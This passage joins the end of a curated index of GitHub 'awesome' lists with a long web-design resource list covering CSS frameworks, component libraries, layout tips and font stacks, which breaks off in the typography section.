[Godot](https://github.com/Calinou/awesome-godot) *(Game engine)* - [Open Source Games](https://github.com/leereilly/games) ## Developer Environment - [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins) - [Dev Env](https://github.com/jondot/awesome-devenv) - [Dotfiles](https://github.com/webpro/awesome-dotfiles) - [Shell](https://github.com/alebcay/awesome-shell) - [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins) - [Browser Extensions for GitHub](https://github.com/stefanbuck/awesome-browser-extensions-for-github) - [Git Cheat Sheet](https://github.com/ArslanBilal/Git-Cheat-Sheet) ## Entertainment - [Science Fiction](https://github.com/sindresorhus/awesome-scifi) - [Fantasy](https://github.com/RichardLitt/awesome-fantasy) - [Podcasts](https://github.com/cv/awesome-geek-podcasts) ## Databases - [Database](https://github.com/numetriclabz/awesome-db) - [MySQL](https://github.com/shlomi-noach/awesome-mysql/blob/gh-pages/index.md) - [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy) ## Resources - [Creative Commons Media](https://github.com/shime/creative-commons-media) - [Images](https://github.com/heyalexej/awesome-images) - [Fonts](https://github.com/brabadu/awesome-fonts) - [Codeface](https://github.com/chrissimpkins/codeface) *(Text editor fonts)* ## Learn - [CLI Workshoppers/Adventures](https://github.com/therebelrobot/awesome-workshopper) - [Learn to Program](https://github.com/karlhorky/learn-to-program) - [Speaking](https://github.com/matteofigus/awesome-speaking) ## Security - [Application Security](https://github.com/paragonie/awesome-appsec) - [Security](https://github.com/sbilly/awesome-security) - [CTF](https://github.com/apsdehal/awesome-ctf) - [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis) - [Android Security](https://github.com/ashishb/android-security-awesome) - [Hacking](https://github.com/carpedm20/awesome-hacking) - [Honeypots](https://github.com/paralax/awesome-honeypots) ## Miscellaneous - [JSON](https://github.com/burningtree/awesome-json) - [Discounts for Student Developers](https://github.com/najela/discount-for-student-dev) - [Slack](https://github.com/matiassingers/awesome-slack) - [Conferences](https://github.com/RichardLitt/awesome-conferences) - [GeoJSON](https://github.com/tmcw/awesome-geojson) - [Sysadmin](https://github.com/n1trux/awesome-sysadmin) - [Radio](https://github.com/kyleterry/awesome-radio) - [Awesome](https://github.com/sindresorhus/awesome) - [Analytics](https://github.com/onurakpolat/awesome-analytics) - [FOSS for Developers](https://github.com/httpsGithubParty/FOSS-for-Dev) - [GitHub Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet) - [Open Companies](https://github.com/waldyrious/awesome-open-company) - [REST](https://github.com/marmelab/awesome-rest) - [Selenium](https://github.com/christian-bromann/awesome-selenium) - [Endangered Languages](https://github.com/RichardLitt/endangered-languages) - [Slack Communities](https://github.com/filipelinhares/awesome-slack) - [Continuous Delivery](https://github.com/itech001/ciandcd) - [Services Engineering](https://github.com/mmcgrana/services-engineering) - [Free for Developers](https://github.com/ripienaar/free-for-dev) - [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin/) - [Answers](https://github.com/jugoncalves/awesome-answers) *(Stack Overflow, Quora, etc)* - [Sketch](https://github.com/diessica/awesome-sketch) *(OS X app)* - [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup) - [Maintainance Modules](https://github.com/maxogden/maintenance-modules) *(for npm packages)* - [PCAPTools](https://github.com/caesar0301/awesome-pcaptools) - [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job) - [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates) - [Mad Science Modules](https://github.com/feross/mad-science-modules) - [Readme](https://github.com/matiassingers/awesome-readme) - [Tools](https://github.com/cjbarber/ToolsOfTheTrade) - [Styleguides](https://github.com/RichardLitt/awesome-styleguides) - [Blogs](https://github.com/aleksandar-todorovic/awesome-blogs) - [Design and Development Guides](https://github.com/NARKOZ/guides) - [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs) - [Self Hosted](https://github.com/Kickball/awesome-selfhosted) - [FOSS Production Apps](https://github.com/jwaterfaucett/awesome-foss-apps) - [Gulp](https://github.com/alferov/awesome-gulp) - [AMA](https://github.com/sindresorhus/amas) *(Ask Me Anything)* - [GIF](https://github.com/Syskaw/awesome-gif) - [Open Source Photography](https://github.com/Syskaw/awesome-OpenSourcePhotography/) ## License [](http://creativecommons.org/publicdomain/zero/1.0/) To the extent possible under law, [Sindre Sorhus](http://sindresorhus.com) has waived all copyright and related or neighboring rights to this work.

 > **Easy ways to add design flair, user delight, and whimsy to your product!** _The Spark Joy philosophy is explained in further detail [in my book](https://learninpublic.org/), check it out if you'd like to explore how this approach applies to a lot more than design utilities._ <!-- START doctoc generated TOC please keep comment here to allow auto update --> <!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE --> **Table of Contents** - [Web Design in 4 minutes](#web-design-in-4-minutes) - [CSS/UI Templates](#cssui-templates) - [Serious CSS Frameworks](#serious-css-frameworks) - [Drop-in CSS Frameworks](#drop-in-css-frameworks) - [Fun CSS Frameworks](#fun-css-frameworks) - [No Framework](#no-framework) - [CSS Resets](#css-resets) - [CSS A11y Checkers](#css-a11y-checkers) - [Tailwind Component Libraries](#tailwind-component-libraries) - [React Component Libraries](#react-component-libraries) - [Layout](#layout) - [Stacking and Elevation](#stacking-and-elevation) - [2D Spacing](#2d-spacing) - [Responsive Layout Breakpoints](#responsive-layout-breakpoints) - [Layout Bleed](#layout-bleed) - [Other Layout Tools and tips](#other-layout-tools-and-tips) - [Typography](#typography) - [Fonts](#fonts) - [Line Height](#line-height) - [Line Width](#line-width) - [Kerning and char spacing](#kerning-and-char-spacing) - [Font Sizing](#font-sizing) - [Typography Talks](#typography-talks) - [Other Typography Resources](#other-typography-resources) - [Colors](#colors) - [Palette Generators](#palette-generators) - [Color Gradients](#color-gradients) - [Color Theory](#color-theory) - [Color Theory for Data Visualization](#color-theory-for-data-visualization) - [Backgrounds](#backgrounds) - [Background Gradients and Patterns](#background-gradients-and-patterns) - [Background Illustrations](#background-illustrations) - [Background SVG texture](#background-svg-texture) - [Misc Backgroundy Stuff](#misc-backgroundy-stuff) - [Icons and Favicons](#icons-and-favicons) - [Favicons](#favicons) - [`<link rel="">` tags and opengraph](#link-rel-tags-and-opengraph) - [Icons](#icons) - [Diagramming](#diagramming) - [General Purpose Diagramming](#general-purpose-diagramming) - [Software Arch Diagrams](#software-arch-diagrams) - [Sequence Diagrams](#sequence-diagrams) - [Entity Relationship Diagrams](#entity-relationship-diagrams) - [Cloud Architecture diagrams](#cloud-architecture-diagrams) - [Code-based Graph tools](#code-based-graph-tools) - [Graphics and SVG Illustrations](#graphics-and-svg-illustrations) - [Wireframing](#wireframing) - [Device Mocks](#device-mocks) - [Illustrations](#illustrations) - [3D illustrations](#3d-illustrations) - [Handwritten Look](#handwritten-look) - [Pixel Art](#pixel-art) - [ASCII Art](#ascii-art) - [matrix8967's list](#matrix8967s-list) - [DIY Graphic Design](#diy-graphic-design) - [Stock Photos and Videos](#stock-photos-and-videos) - [Stock Videos](#stock-videos) - [Video creation tools](#video-creation-tools) - [Avatars](#avatars) - [Individual HTML Elements](#individual-html-elements) - [Anything But Dropdowns](#anything-but-dropdowns) - [Buttons](#buttons) - [Forms](#forms) - [Tables](#tables) - [Datepickers](#datepickers) - [Sound](#sound) - [Lightweight Charts/Dataviz](#lightweight-chartsdataviz) - [Dashboarding](#dashboarding) - [Nice React Components](#nice-react-components) - [React Toasting](#react-toasting) - [React Gamification](#react-gamification) - [Misc Weird fun stuff](#misc-weird-fun-stuff) - [Pure CSS Tricks](#pure-css-tricks) - [SVG/Canvas Masking](#svgcanvas-masking) - [Animations & Transitions](#animations--transitions) - [Loading Spinners](#loading-spinners) - [React Animation Tools](#react-animation-tools) - [Ideas for Improving UX](#ideas-for-improving-ux) - [Onboarding](#onboarding) - [Empty states](#empty-states) - [Design Software](#design-software) - [Figma](#figma) - [Sketch](#sketch) - [Generative Design Tools](#generative-design-tools) - [Non-DOM Browser Technologies](#non-dom-browser-technologies) - [Canvas](#canvas) - [WebGL](#webgl) - [3D](#3d) - [Interaction/Design Inspo](#interactiondesign-inspo) - [Game design inspo](#game-design-inspo) - [Random Stuff That Doesn't Fit Anywhere](#random-stuff-that-doesnt-fit-anywhere) - [Mock APIs](#mock-apis) - [Useful big datasets](#useful-big-datasets) - [Copy and Emails](#copy-and-emails) - [UI Design Challenges and Copywork](#ui-design-challenges-and-copywork) - [Other Lists like this one](#other-lists-like-this-one) - [Helpful podcasts/talks/articles](#helpful-podcaststalksarticles) - [More Free Stuff](#more-free-stuff) - [Paid Design Services of Note](#paid-design-services-of-note) - [Courses](#courses) <!-- END doctoc generated TOC please keep comment here to allow auto update --> ## Web Design in 4 minutes Keep it simple: https://jgthms.com/web-design-in-4-minutes/ ## CSS/UI Templates HTML/CSS nice templates - 🆕 https://shuffle.dev/ tailwind/bootstrap/materialui randomly generated templates - https://www.free-css.com/ - https://www.creative-tim.com/ - https://wickedtemplates.com using Tailwind v2 (and [wickedblocks](https://blocks.wickedtemplates.com/)) and https://wickedbackgrounds.com/ - https://www.tailwind-kit.com/ free tailwind component kit - https://daisyui.com/ tailwind theme - https://themeselection.com/ - https://html5up.net/ - https://frontendor.com/ using bootstrap - https://preview.tabler.io/# using bootstrap - https://cruip.com/ HTML, React, Vue.js, and Tailwind templates - https://open-props.style/ design tokens using CSS variables ### Serious CSS Frameworks #### Professional Design Systems - https://designsystemsrepo.com/ - Government - G10 - The UK: https://design-system.service.gov.uk/ - New Zealand is heavily based https://design-system-alpha.digital.govt.nz/ - The US: https://designsystem.digital.gov/ - Canada: https://www.canada.ca/en/government/about/design-system.html - Russia: http://gov.design/ - Australia: https://designsystemau.org/ - France: https://www.systeme-de-design.gouv.fr/ - Germany: https://produkt.gsb.bund.de/DE/Home/home_node.html and https://styleguide.bundesregierung.de/sg-de/ - Other - Argentina: https://argob.github.io/poncho/ - Greece: https://guide.services.gov.gr/ - Netherlands: https://www.rijkshuisstijl.nl/ - Italy: https://designers.italia.it/ - Singapore: https://www.designsystem.tech.gov.sg/ - Europe - Estonia: https://brand.estonia.ee/ - Czech Republic: https://designsystem.gov.cz/ - Ukraine: https://diia.fedoriv.com/ #### Heavier CSS Frameworks bigger learning curve, may have js, but more OOTB) - [Bootstrap](https://getbootstrap.com/) - [Foundation](https://get.foundation/sites/docs/) - [Blaze UI](https://www.blazeui.com/) - [PatternFly](https://www.patternfly.org/v4) - [UIKit](https://getuikit.com/docs/introduction) - [Numl](https://numl.design/#getting-started) - A UI Design Language, UI Library of Web Components, and Runtime CSS Framework for rapidly building interfaces that follow your Design System - Utility CSS - [Bonsai CSS](https://www.bonsaicss.com/) - [Tailwindcss](https://tailwindcss.com/) - Web Components - [Weightless](https://github.com/andreasbm/weightless) - [Shoelace](https://shoelace.style/) ### Drop-in CSS Frameworks lighter, no js. **preview some of these** with https://sites.yax.com/, https://www.cssbed.com/, https://dohliam.github.io/dropin-minimal-css/ and https://github.com/dbohdan/classless-css - No CSS Classes - Pure HTML - 🌟 https://andybrewer.github.io/mvp/ mvp.css - https://yegor256.github.io/tacit/ - https://github.com/alvaromontoro/almond.css has thin fonts - https://picocss.com/ Elegant styles for all natives HTML elements without .classes and dark mode automatically enabled. - https://simplecss.org/demo 4kb incl dark mode - https://watercss.kognise.dev/ Small size (< 2kb) - https://github.com/xz/new.css (https://newcss.net/) 4.8kb - https://github.com/oxalorg/sakura supports extremely easy theming using variables for duotone color scheming. - https://github.com/susam/spcss - https://neat.joeldare.com/ https://github.com/codazoda/neatcss - https://concrete.style/ Tiny (< 1kb) - https://github.com/zichy/fieber (new, wants feedback) - https://github.com/neocities/element (inactive now) - [Spectre.css](https://picturepan2.github.io/spectre/index.html) lightweight (10kb), responsive and modern CSS framework for faster and extensible development. - https://purecss.io/ A set of small (3.7kb), responsive CSS modules that you can use in every web project. - https://gdcss.netlify.app/ (inspired by UK design system) - https://ajusa.github.io/lit/ lit has two modules: lit and util. lit contains all of the basics for a framework, such as a responsive grid, typography, and other elements. util has many CSS utility classes that can be used to extend lit, or any CSS framework. - https://luxacss.com/ - https://jenil.github.io/chota/ good looking, lots of classes and utilities yet small - https://chr15m.github.io/DoodleCSS/ hand drawn look - https://codepen.io/web-dot-dev/pen/abpoXGZ the base classes for web.dev/learn/csss - https://open-props.style/ css variables framework - "tailwind without tailwind"id=30497165). - https://latex.vercel.app/ style your website like a LATEX document - (original version https://github.com/davidrzs/latexcss) - https://picnicss.com/ - lightweight bootstrap alternative ([2014 HN](https://news.ycombinator.com/item?id=8315616)) - https://github.com/gduverger/screen (inactive now) - Collections of even more: - https://github.com/dohliam/dropin-minimal-css - https://github.com/dbohdan/classless-css - https://github.com/ubershmekel/cssbed (https://www.cssbed.com/) - https://thesephist.github.io/paper.css/ and https://thesephist.github.io/blocks.css/ Superlight: [100 bytes of css to look great nearly everywhere](https://dev.to/swyx/100-bytes-of-css-to-look-great-everywhere-19pd) ```css html { max-width: 60ch; padding: 1.5rem; margin: auto; line-height: 1.5rem; font-size: 24px; } ``` see also http://bettermotherfuckingwebsite.com/ ### Fun CSS Frameworks focus is fun - https://www.getpapercss.com/ (handrwritingey css similar to roughjs) - https://terminalcss.xyz/ focus is brutalism - https://secretgeek.github.io/html_wysiwyg/html.html This page is a truly naked, brutalist html quine. - https://mrcoles.com/demo/markdown-css/ CSS to make HTML markup look like plain-text markdown. focus is fun/nostalgia - [NES.css](https://github.com/nostalgic-css/NES.css): NES.css is a NES-style(8bit-like) CSS Framework. - [PSone.css](https://github.com/micah5/PSone.css): PS1 style CSS Framework, inspired by NES.css. - [LaTeX.css](https://latex.now.sh/) - Operating System CSS - [React95](https://react95.github.io/React95/) - [98.css](https://github.com/jdan/98.css): A Windows 98 inspired framework for building faithful recreations of old UIs. - [Office 97 clipart in svg format](https://archive.org/details/mso97clipart) - [XP.css](https://github.com/botoxparty/XP.css): A Windows XP inspired framework for building faithful recreations of operating system GUIs. An extension of 98.css. - [7.css](https://khang-nd.github.io/7.css/) - [System.css](https://sakofchit.github.io/system.css/) Retro Apple-inspired UI - [Puppertino](https://github.com/codedgar/Puppertino) meant to mimic the look of macOS. [demo](https://codedgar.github.io/Puppertino/) - [Commodore 64 CSS](http://pixelambacht.nl/2013/css3-c64/) - DOS: [BOOTSTRA.386](https://github.com/kristopolous/BOOTSTRA.386): A vintage 1980s DOS inspired Twitter Bootstrap theme - [a2k](https://a2000-docs.netlify.app/): A Windows 2000 inspired web component library - [Text UI CSS](https://github.com/vinibiavatti1/TuiCss): bios like UI's - [New Dawn](https://github.com/npjg/new-dawn): A mac classic After Dark inspired stylesheet. - [Geocities Bootstrap theme](https://code.divshot.com/geo-bootstrap/) - [Metalmorphism](https://www.metalmorphism.com): High-quality metallic UI kit - more https://dev.to/iainfreestone/10-resources-for-recreating-old-school-retro-user-interfaces-today-hkj focus in futurism - Arwes - Futuristic Sci-Fi and Cyberpunk Graphical User Interface Framework for Web Apps https://arwes.dev/ - http://augmented-ui.com/ - Futuristic, Sci-Fi shaping for any element ### No Framework Instead of using a framework, [consider not using one](https://www.smashingmagazine.com/2022/05/you-dont-need-ui-framework/). ### CSS Resets more control in exchange for more work on your part. - eric meyer v2 https://meyerweb.com/eric/tools/css/reset/ - josh comeau reset https://www.joshwcomeau.com/css/custom-css-reset/ - [Chris Coyier comments](https://css-tricks.com/notes-on-josh-comeaus-custom-css-reset/) - https://github.com/jensimmons/cssremedy css working group's reset if it didnt have to worry about tech debt - https://github.com/tiaanduplessis/nanoreset - https://nicolas-cusan.github.io/destyle.css/ - https://hankchizljaw.com/wrote/a-modern-css-reset/ - https://gist.github.com/DavidWells/18e73022e723037a50d6 - http://necolas.github.io/normalize.css/ (yes, technically does more than a reset) - https://github.com/sindresorhus/modern-normalize is a smaller version that just supports latest Chrome, Firefox, and Safari - Tailwind's https://tailwindcss.com/docs/preflight/ is built atop normalize - https://github.com/kripod/css-homogenizer - a modern take on Eric Meyer's Reset, based upon direct comparison between user agent style sheets. - Jamie Kyle CSS preset https://twitter.com/buildsghost/status/1360343126510981122?s=20 ### CSS A11y Checkers - https://github.com/jackdomleo7/Checka11y.css - https://ffoodd.github.io/a11y.css/ - https://github.com/mike-engel/a11y-css-reset - chrome extension https://chrome.google.com/webstore/detail/a11ycss/iolfinldndiiobhednboghogkiopppid?hl=en ### Tailwind Component Libraries - https://github.com/thedevdojo/tails - http://tailwindcomponents.com/ - https://tailwindui.com/components - https://merakiui.com/ - https://www.gust-ui.com/ - https://flowbite.com/docs/getting-started/introduction/ - https://mertjf.github.io/tailblocks/ - 🌟 https://www.hyperui.dev/ - Tailwind visual builder - https://devdojo.com/tails - https://shuffle.dev/ - https://daisyui.com/ - https://www.tailwind-kit.com/ ### React Component Libraries - [Recent comparison/discussion](https://www.reddit.com/r/reactjs/comments/vtgbai/comparison_of_ui_libraries_for_react/) of: - DaisyUI - React Bootstrap - ChakraUI - Tailwind UI - Flowbite React - Material UI - https://www.tremor.so/ Simple and modular components to build dashboards in a breeze. Fully open-source, made by data scientists and software engineers with a sweet spot for design. - [Radix UI](https://www.radix-ui.com/) Unstyled, accessible components for building high‑quality design systems and web apps in React. - [Mantine](https://mantine.dev/) More than 120 customizable components and hooks to cover you in any situation. - https://nextui.org/ uses Stitches, includes light and dark UI components out-of-the-box along with a default color palette that might be good for quickly building landing pages or other content that’s not initially tied to any branding. - https://akaspanion.github.io/ui-neumorphism/ - https://component.gallery/ - https://headlessui.dev/ - https://ui.supabase.io/ - https://ui.shadcn.com/ Beautifully designed components that you can copy and paste into your apps. Accessible. Customizable. Open Source. ## Layout ### Stacking and Elevation Good idea to have an elevation system in place. Material's is pretty good: https://material.io/design/environment/elevation.html | Component | Default elevation values (dp) | | --------------------------------------------------------- | ----------------------------- | | Dialog | 24 | | Modal bottom sheet Modal side sheet | 16 | | Navigation drawer | 16 | | Floating action button (FAB - pressed) | 12 | | Standard bottom sheet Standard side sheet | 8 | | Bottom navigation bar | 8 | | Bottom app bar | 8 | | Menus and sub menus | 8 | | Card (when picked up) | 8 | | Contained button (pressed state) | 8 | | Floating action button (FAB - resting elevation) Snackbar | 6 | | Top app bar (scrolled state) | 4 | | Top app bar (resting elevation) | 0 or 4 | | Refresh indicator Search bar (scrolled state) | 3 | | Contained button (resting elevation) | 2 | | Search bar (resting elevation) | 1 | | Card (resting elevation) | 1 | | Switch | 1 | | Text button | 0 | | Standard side sheet | 0 | More notes on FAB implementation- https://youtu.be/RXopH5t2Kww ### 2D Spacing More. Spacing. Please. [Double your whitespace](https://learnui.design/blog/7-rules-for-creating-gorgeous-ui-part-1.html#rule-3-double-your-whitespace) ### Responsive Layout Breakpoints When in doubt, use Material Layout: https://material.io/design/layout/responsive-layout-grid.html#breakpoints | Screen size | Margin | Body | Layout columns | | ------------------- | ------- | ------- | -------------- | | Extra-small (phone) | | | | | 0-599dp | 16dp | Scaling | 4 | | Small (tablet) | | | | | 600-904 | 32dp | Scaling | 8 | | 905-1239 | Scaling | 840dp | 12 | | Medium (laptop) | | | | | 1240-1439 | 200dp | Scaling | 12 | | Large (desktop) | | | | | 1440+ | Scaling | 1040 | 12 | - https://piccalil.li/tutorial/build-a-responsive-media-browser-with-css/ - [Tailwind's breakpoints](https://tailwindcss.com/docs/breakpoints) don't come with layout recommendations but here they are: - sm: 640px - md: 768px - lg: 1024px - xl: 1280px - 2xl: 1536px ### Layout Bleed A nice bleed lets you put emphasis on things selectively. You want a normal width, a popout width, and a "full bleed" width. Optional for an intermediate one. This is the best version of bleed implementation https://ryanmulligan.dev/blog/layout-breakouts/ (borrows from https://joshwcomeau.com/css/full-bleed/) This is adapted to be responsive ```css <style> /* https://ryanmulligan.dev/blog/layout-breakouts/ */ .swyxcontent { --gap: clamp(1rem, 6vw, 3rem); --full: minmax(var(--gap), 1fr); --content: min(65ch, 100% - var(--gap) * 2); --popout: minmax(0, 2rem); --feature: minmax(0, 5rem); display: grid; grid-template-columns: [full-start] [feature-start] [popout-start] [content-start] var(--content) [content-end] [feature-end] [popout-end] [feature-end] [full-end] } @media (min-width: 640px) { .swyxcontent { grid-template-columns: [full-start] var(--full) [feature-start] var(--feature) [popout-start] var(--popout) [content-start] var(--content) [content-end] var(--popout) [popout-end] var(--feature) [feature-end] var(--full) [full-end]; } } :global(.swyxcontent > *) { grid-column: content; } article :global(pre) { grid-column: feature; } </style> ``` Then you can selectively use the `popout`, `feature`, and `full` classes as needed ```css .content > * { grid-column: content; } .popout { grid-column: popout; } .feature { grid-column: feature; } .full { grid-column: full; } ``` ### Other Layout Tools and tips - 🌟 https://every-layout.dev/ - https://web.dev/patterns/layout/ - https://gedd.ski/post/article-grid-layout/ - CSS grid generator tools - https://grid.layoutit.com/ - https://cssgrid-generator.netlify.app/ - https://layout.bradwoods.io/ - https://uisual.com/ - https://csslayout.io/ ([github](https://github.com/phuoc-ng/csslayout)) - Visual Hierarchy https://youtu.be/qZWDJqY27bw ## Typography typography matters https://twitter.com/kvncnls/status/1399077512014086150?s=21 ### Fonts <ul> <li> <details> <summary>For speed, use [System Font Stacks](https://systemfontstack.com/) (incl. Segoe and Roboto)</summary> ([what are these?](https://css-tricks.com/snippets/css/system-font-stack/)) - GitHub: `font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Noto Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";` - [VS Code Autocomplete](https://twitter.com/kudapara/status/1093553125661773825?s=20): `font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif` - [`font-family: -apple-system, BlinkMacSystemFont, Segoe UI, Helvetica, Arial, sans-serif;`](https://twitter.com/_etiennemartin/status/1221114860479696896?s=20) - [`font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Helvetica Neue", Arial, sans-serif;`](https://twitter.com/laurosilvacom/status/1221138641923141632) - [`font-family: ‘system-ui’, sans-serif;`](https://twitter.com/esojrafael/status/1221107296127729664?s=20) - the ['system-ui' generic font family is new, standardizing name across Safari, Firefox and Blink](https://www.chromestatus.com/feature/5640395337760768) - [StackOverflow almost-system-font stack](https://news.ycombinator.com/item?id=31544613): ```css @ff-sans: -apple-system, BlinkMacSystemFont, // San Francisco on macOS and iOS "Segoe UI", // Windows "Liberation Sans", // Linux sans-serif; // The final fallback for rendering in sans-serif. @ff-serif: Georgia, Cambria, "Times New Roman", Times, serif; @ff-mono: ui-monospace, // San Francisco Mono on macOS and iOS "Cascadia Mono", "Segoe UI Mono", // Newer Windows monospace fonts that are optionally installed. Most likely to be rendered in Consolas "Liberation Mono", // Linux Menlo, Monaco, Consolas, // A few sensible system font choices monospace; // The final fallback for rendering in monospace. ``` - [Sanitize.css](https://github.com/csstools/sanitize.css#typography-uses-the-default-system-font): ```css html { font-family: system-ui, /* macOS 10.11-10.12 */ -apple-system, /* Windows 6+ */ Segoe UI, /* Android 4+ */ Roboto, /* Ubuntu 10.10+ */ Ubuntu, /* Gnome 3+ */ Cantarell, /* KDE Plasma 5+ */ Noto Sans, /* fallback */ sans-serif, /* macOS emoji */ "Apple Color Emoji", /* Windows emoji */ "Segoe UI Emoji", /* Windows emoji */ "Segoe UI Symbol", /* Linux emoji */ "Noto Color Emoji"; } code, kbd, pre, samp { font-family: /* macOS 10.10+ */ Menlo, /* Windows 6+ */ Consolas, /* Android 4+ */ Roboto Mono, /* Ubuntu 10.10+ */ Ubuntu Monospace, /* KDE Plasma 5+ */ Noto Mono, /* KDE Plasma 4+ */ Oxygen Mono, /* Linux/OpenOffice fallback */ Liberation Mono, /* fallback */ monospace; } ``` - [Some systems come with good premium fonts](https://twitter.com/MatiasEduardoPR/status/1093508700378144768?s=20) - Apple OSes have `“avenir next”, “avenir”, “proxima-nova”` </details> See also [Modern Font Stacks](https://modernfontstacks.com/) - [discussion](https://news.ycombinator.com/item?id=35168652) - Simple: `font-family: system-ui, -apple-system, sans-serif;` ([has issues on old browsers + asian langauges]([url](https://news.ycombinator.com/item?id=31544075) - github and bootstrap have removed it fwiw)) - Sans-serif `font-family: -apple-system, BlinkMacSystemFont, avenir next, avenir, segoe ui, helvetica neue, helvetica, Ubuntu, roboto, noto, arial, sans-serif;` - Serif: `font-family: Iowan Old Style, Apple Garamond, Baskerville, Times New Roman, Droid Serif, Times, Source Serif Pro, serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol;` - Mono: `font-family: Menlo, Consolas, Monaco, Liberation Mono, Lucida Console, monospace;` </li> </ul> - Consider your site personality - Elegant/Classic: serif like [`Freight Text`](https://fonts.adobe.com/fonts/freight-text), [`Adobe Garamond`](https://fonts.adobe.com/fonts/adobe-garamond), [`PT Serif`](https://fonts.google.com/specimen/PT+Serif) - Playful: rounded sans serif like [`Proxima Soft`](https://fonts.adobe.com/fonts/proxima-soft) - Plain/Safe: neutral sans serif like [`Freight Sans`](https://fonts.adobe.com/fonts/freight-sans), [`Inter`](https://rsms.me/inter/), [`Proxima Nova`](https://fonts.adobe.com/fonts/proxima-nova) - Sciency/technical: squared off (geometric) sans like [`DIN`](https://fonts.adobe.com/fonts/din-2014), [`Industry`](https://fonts.adobe.com/fonts/industry) - monospace fonts - https://devfonts.gafi.dev/ - https://coding-fonts.css-tricks.com/ - Programming fonts - https://www.programmingfonts.org/ ([discussion](https://news.ycombinator.com/item?id=32032029)) - [14 free programming fonts](https://twitter.com/zenorocha/status/1359508613606199301?s=20) - Variable fonts: https://whirlybirdie.com/ - Erik Kennedy font https://mobile.twitter.com/erikdkennedy/status/1575135945359097864 - Novelty: http://velvetyne.fr/ - [use a Uniwidth font (not monospace) for interface design](https://uxdesign.cc/uniwidth-typefaces-for-interface-design-b6e8078dc0f7) - Fonts have [fashions/trends](https://twitter.com/jgulden/status/1507467476807806979?s=21). current vogue is Inter. - Free fonts that are great with examples (thanks [@edadams](https://github.com/sw-yx/spark-joy/issues/22)) - Google Fonts - ([see Harry Roberts on Google Font loading perf](https://csswizardry.com/2020/05/the-fastest-google-fonts/) - you should [self host this](https://wicki.io/posts/2020-11-goodbye-google-fonts/)) - https://www.colorsandfonts.com/font-pairing - https://www.nngroup.com/articles/pairing-typefaces/ - https://fontflipper.com/upload Just upload an image, write some sample copy. And flip through 500 Google fonts one by one. - https://bueltge.de/free-web-font-combinations/ - [40 best google fonts by Typewolf](https://www.typewolf.com/google-fonts) - [50 selections of google fonts](https://www.notion.so/e873b52e0cc54f2981acc430417ba61d?v=05acdd40b0564920be69f5347f619bc3) - [Noto Sans](https://www.google.com/get/noto/) - [Fira Sans](https://fonts.google.com/specimen/Fira+Sans) - related to [Fira Code](https://github.com/tonsky/FiraCode) for devvy stuff - [Raleway](https://fonts.google.com/specimen/Raleway) - [Open Sans](https://fonts.google.com/specimen/Open+Sans) - [Recursive](https://www.recursive.design/) - 1 variable font that can handle both monospace and UI usecases, very versatile - Cavivanar https://twitter.com/atav1k/status/1178096244490723328?s=19 - Jack Butcher faves - Rubik - Work Sans - IBM Plex Family (Mono, Sans, Serif) - Fontshare 50 free fonts https://www.fontshare.com/ - [Erik Kennedy picks from these](https://twitter.com/erikdkennedy/status/1374382006658723840?s=20) - Premium-looking Free Fonts https://learnui.design/blog/ultimate-guide-similar-fonts.html - Apercu · Avenir · Circular · DIN · Futura · Gotham · Helvetica · Proxima Nova · Times New Roman - https://beautifulwebtype.com/ - Chivo https://www.latinxswhodesign.com/ - [Lato](http://www.latofonts.com/) Well known, very readable, pretty, client favorite - [Libre Franklin](https://beautifulwebtype.com/libre-franklin/) Elegant and thin - [IBM Plex Sans](https://www.ibm.com/plex/) Loads of weights, beautifully done - example: https://thesephist.com/posts/inc/ - [Clear Sans](https://01.org/clear-sans) - [Atkinson Hyperlegible](https://brailleinstitute.org/freefont) from Braille institue - [Inter](https://rsms.me/inter/) [Rasmus'](https://rsms.me/) typeface carefully crafted & designed for computer screens. - [Jetbrains Mono](https://www.jetbrains.com/lp/mono/) - Monospace font for devvy stuff - Handwritten Fonts - great for presentations, annotated illustrations - https://www.urbanfonts.com/fonts/handwritten-fonts.htm - Caveat and Reenie Beanie on google fonts https://twitter.com/round/status/1178090890004455424?s=19 - https://fontsarena.com/ - https://uncut.wtf/ 90 typefaces with a focus on contemporary, or modern, type. - "Open Source Beautiful Fonts" [by Gontijo](https://twitter.com/gontijodesign/status/1394624373823348737) - Font Pairing - https://fontpair.co/ - https://fontjoy.com/ - https://fontsinuse.com/ - see how [Steve Schoger uses it](https://youtu.be/S6-q5BheEYU) - http://femmebot.github.io/google-type/ - https://www.boldwebdesign.com.au/ - https://justmytype.co/ - https://bueltge.de/free-web-font-combinations/ - Canva has a great tool: https://www.canva.com/font-combinations/ - https://www.colorsandfonts.com/font-pairings - Read: https://www.nngroup.com/articles/pairing-typefaces/ - [Font variants and oldstyle numbers](https://www.jonathan-harrell.com/blog/better-typography-with-font-variants/) - steve schoger blessed typekit fonts **for UI's** - proxima nova - aktiv grotesk - acumin pro - Museo Sans ([example](https://youtu.be/ZJj7uNdzPpM?t=566)) and similar from [TypeKit](https://fonts.adobe.com/fonts?browse_mode=default&filters=cl:ss,rc:p,ns:uc) - https://practicaltypography.com/system-fonts.html - https://practicaltypography.com/free-fonts.html - eye catching fun fonts - https://www.haleyfiege.fun/fonts - pixel fonts https://twitter.com/castpixel/status/1281345373336985612?s=20 - CSS 3D text https://markdotto.com/playground/3d-text/ - JS 3D text https://bennettfeely.com/ztext/ - TypeSpiration https://typespiration.com/ premade font pairings for you - more opinions places - https://muffingroup.com/blog/best-free-fonts/ - https://type-scale.com/ - https://practicaltypography.com - http://thinkingwithtype.com/ - https://typographyforlawyers.com/ - 